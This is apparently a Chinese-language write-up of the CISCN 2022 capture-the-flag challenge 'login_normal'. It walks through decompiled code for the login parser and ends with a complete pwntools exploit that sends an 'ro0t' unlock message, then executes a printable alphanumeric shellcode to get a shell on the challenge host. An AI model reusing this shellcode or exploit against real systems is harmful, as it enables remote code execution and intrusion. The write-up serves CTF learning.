[CISCN 2022 初赛]login_normal
尝试做了一下前年的ciscn,好难
一道考可视化shellcode的题
但代码审计也会考
下面的这一段功能是告诉我们命令的匹配方法是怎样的
unsigned __int64 __fastcall sub_FFD(_BYTE *a1) { char *sa; // [rsp+8h] [rbp-48h] char *sb; // [rsp+8h] [rbp-48h] char *sc; // [rsp+8h] [rbp-48h] char *sd; // [rsp+8h] [rbp-48h] char v7; // [rsp+17h] [rbp-39h] int v8; // [rsp+1Ch] [rbp-34h] int v9; // [rsp+2Ch] [rbp-24h] void *dest; // [rsp+30h] [rbp-20h] char *s1; // [rsp+38h] [rbp-18h] char *nptr; // [rsp+40h] [rbp-10h] unsigned __int64 v13; // [rsp+48h] [rbp-8h] v13 = __readfsqword(0x28u); memset(qword_202040, 0, sizeof(qword_202040)); v8 = 0; v7 = 0; dest = 0LL; while ( !*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10) ) { if ( v8 <= 5 ) qword_202040[2 * v8] = a1; sb = strchr(a1, 58); if ( !sb ) { puts("error."); exit(1); } *sb = 0; for ( sc = sb + 1; *sc && (*sc == 32 || *sc == 13 || *sc == 10 || *sc == 9); ++sc ) *sc = 0; if ( !*sc ) { puts("abort."); exit(2); } if ( v8 <= 5 ) qword_202040[2 * v8 + 1] = sc; sd = strchr(sc, 10); if ( !sd ) { puts("error."); exit(3); } *sd = 0; a1 = sd + 1; if ( *a1 == 13 ) *a1++ = 0; s1 = (char *)qword_202040[2 * v8]; nptr = (char *)qword_202040[2 * v8 + 1]; if ( !strcasecmp(s1, "opt") ) { if ( v7 ) { puts("error."); exit(5); } v7 = atoi(nptr); } else { if ( strcasecmp(s1, "msg") ) { puts("error."); exit(4); } if ( strlen(nptr) <= 1 ) { puts("error."); exit(5); } v9 = strlen(nptr) - 1; if ( dest ) { puts("error."); exit(5); } dest = calloc(v9 + 8, 1uLL); if ( v9 <= 0 ) { puts("error."); exit(5); } memcpy(dest, nptr, v9); } ++v8; } *a1 = 0; sa = a1 + 1; if ( *sa == 10 ) *sa = 0; switch ( v7 ) { case 2: sub_DA8(dest); break; case 3: sub_EFE(dest); break; case 1: sub_CBD(dest); break; default: puts("error."); exit(6); } return __readfsqword(0x28u) ^ v13; }
opt:v7(\r)\n+msg:dest(\r)\n
只有匹配到这种格式的才是合法的命令,不然就会报错退出。
需要注意的是,由于从nptr复制到dest的时候传输的字节数是nptr的长度减1,因此需要多传一个无用的字节才能使得正确的msg成为dest。
unsigned __int64 __fastcall sub_DA8(const char *a1) { unsigned int v1; // eax size_t v2; // rax int i; // [rsp+14h] [rbp-2Ch] void *dest; // [rsp+18h] [rbp-28h] unsigned __int64 v6; // [rsp+28h] [rbp-18h] v6 = __readfsqword(0x28u); for ( i = 0; i < strlen(a1); ++i ) { if ( !isprint(a1[i]) && a1[i] != 10 ) { puts("oh!"); exit(-1); } } if ( unk_202028 != 1 ) { puts("oh!"); exit(-1); } if ( unk_202024 ) { v1 = getpagesize(); dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL); v2 = strlen(a1); memcpy(dest, a1, v2); ((void (*)(void))dest)(); } else { puts(a1); } return __readfsqword(0x28u) ^ v6; }
当v7为2时就会调用这个函数,它会检测两个全局变量的值是否为1,如果都为1就会将dest的内容作为shellcode执行。因此我们需要传入一个可视字符的shellcode。
而要改变这两个全局变量,就要先执行v7为1时对应的一个函数,要求dest指向的内容为ro0t即可改变这两个变量。
unsigned __int64 __fastcall sub_CBD(const char *a1) { int i; // [rsp+14h] [rbp-1Ch] unsigned __int64 v3; // [rsp+18h] [rbp-18h] v3 = __readfsqword(0x28u); for ( i = 0; i < strlen(a1); ++i ) { if ( !isprint(a1[i]) && a1[i] != 10 ) { puts("oh!"); exit(-1); } } if ( !strcmp(a1, "ro0t") ) { unk_202028 = 1; unk_202024 = 1; } else { unk_202028 = 1; } return __readfsqword(0x28u) ^ v3; }
最后exp如下
from pwn import * import ctypes #moban context(arch='amd64', os='linux', log_level='debug') #32位arch=‘i386’ file_name = './pwn' li = lambda x : print('\x1b[01;38;5;214m' +str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m') #context.terminal = ['tmux','splitw','-h'] debug = 1 if debug: r = remote('node4.anna.nssctf.cn',28477) else: r = process(file_name) #elf = ELF(file_name) #libc=ELF('/home/zc/Desktop/libc-2.31.so') def dbg(): gdb.attach(r) shellcode='Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' payload1='opt:1\r\n'+'msg:ro0t\r\n' payload2='opt:2\r\n'+'msg:'+shellcode+'\r\n' #payload1 = b'opt:1\n' + b'msg:ro0tt\n' #dbg() #pause() r.sendlineafter('>>> ',payload1) r.sendlineafter('>>> ',payload2) r.interactive()